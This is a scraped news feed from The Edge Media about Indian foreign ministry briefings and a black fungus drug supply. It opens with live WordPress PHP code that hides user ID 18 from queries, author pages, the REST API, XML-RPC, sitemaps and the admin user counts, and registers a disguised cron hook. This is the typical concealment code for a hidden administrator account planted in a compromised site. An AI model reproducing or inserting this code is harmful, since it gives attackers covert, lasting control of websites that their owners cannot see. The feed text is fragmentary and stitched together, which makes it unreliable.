add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 17,000 Indian Students Rescued from Ukraine, Claims Ministry of External Affairs appeared first on The Edge Media.
]]>
According to him, the Indian Air Force also has collaborated with Operation Ganga. He stated that there would be a plane from Bucharest to Delhi today. According to the MEA spokeswoman, several Indian students have indeed been permitted to leave the Kharkiv area, which really is a positive indication.
“Our Embassy’s warning to depart Kharkhiv is based on information we received from Russia. They should proceed westward, and they should do so, by all means, possible, even walking .” Bagchi said.
The post 17,000 Indian Students Rescued from Ukraine, Claims Ministry of External Affairs appeared first on The Edge Media.
]]>The post India reacts to Pentagon’s China report: ‘Don’t accept illegal Chinese occupation’ appeared first on The Edge Media.
]]>
The Ministry of External Affairs official spokesperson Arindam Bagchi was responding to questions on the Pentagon Report at the weekly briefing, and said, “We have taken note of the US Department of Defence’ report to US Congress which inter-alia also makes a reference to construction activities by Chinese side along with the India-China border areas particularly in the Eastern Sector”.
The post India reacts to Pentagon’s China report: ‘Don’t accept illegal Chinese occupation’ appeared first on The Edge Media.
]]>The post As per the MEA, India’s Covid vaccination certificate has received five additional recognitions appeared first on The Edge Media.
]]>
MEA spokesperson Arindam Bagchi informed India last month that Hungary and Serbia had agreed to mutual recognition of Covid-19 vaccination certificates. On Friday, Shirngia said: “Issue of vaccination certificate was discussed especially with EU representatives. There was a conversation on mutual recognition of vaccines…a doable mechanism to facilitate easier international travel… Details will be worked out bilaterally.”
The post As per the MEA, India’s Covid vaccination certificate has received five additional recognitions appeared first on The Edge Media.
]]>The post India Criticises OIC For It’s Comments On Jammu And Kashmir appeared first on The Edge Media.
]]>As also, India warned the OIC General Secretariat not to use its position to promote remarks about the domestic affairs of its member countries.
The Organization of Islamic Cooperation (OIC) had asked for the government to rescind its August 2019 pronouncements on Jammu and Kashmir.
The post India Criticises OIC For It’s Comments On Jammu And Kashmir appeared first on The Edge Media.
]]>The post India Natural Ally Of Open Societies : PM Modi at G7 appeared first on The Edge Media.
]]>According to the Ministry of External Affairs, the prime minister underscored India’s cultural and social commitment to democracy, freedom of opinion, and liberty in a virtual speech at a session on “open societies and open economy” during the G7 summit (MEA).
Modi also emphasized the transformative influence of digital technology on social equality and prosperity in India, citing Aadhaar, Direct Benefit Transfer (DBT), and the JAM (Jan Dhan-Aadhaar-Mobile) trinity.
The post India Natural Ally Of Open Societies : PM Modi at G7 appeared first on The Edge Media.
]]>The post Black Fungus Treatment: 5 more manufactures have been given licence to prepare drug, says government appeared first on The Edge Media.
]]>The government is making several endeavors for the domestic availability of the drug. The Ministry said that India is importing 3,63,000 vials of Amphotericin-B drug in May, which will give a totally of 5,26,752 vials in the country. The number of vials also constitute of the domestic production. It also adds that the government will import 3,15,000 vials in June and with the domestic produce, the total tally of vials would reach to 5,70,114 in the month of June.
Various states and territories have reported a rapid increase in the cases of Black Fungus. Many states also made a request to declare it as a pandemic as it has already taken many lives. The states have also reported a shortage of the drug for treating the disease.
The Union Ministry in partnership with the Department of Pharmaceuticals and Ministry of External Affairs are making joint efforts for the domestic production of the drugs. The five manufacturers given license to produce the drug are- NATCO Pharmaceuticals, Hyderabad; Alembic Pharmaceuticals, Vadodara; Gufic Biosciences Ltd., Gujarat; Emcure Pharmaceuticals, Pune and Lyka inn Gujarat. Currently, there are only five manufacturers of the drug. These are, Bharat Serums and Vaccines Ltd., BDR Pharmaceuticals Ltd, Sun Pharma Ltd, Cipla Ltd, Life Care Innovations and Mylan Labs (importer).
The post Black Fungus Treatment: 5 more manufactures have been given licence to prepare drug, says government appeared first on The Edge Media.
]]>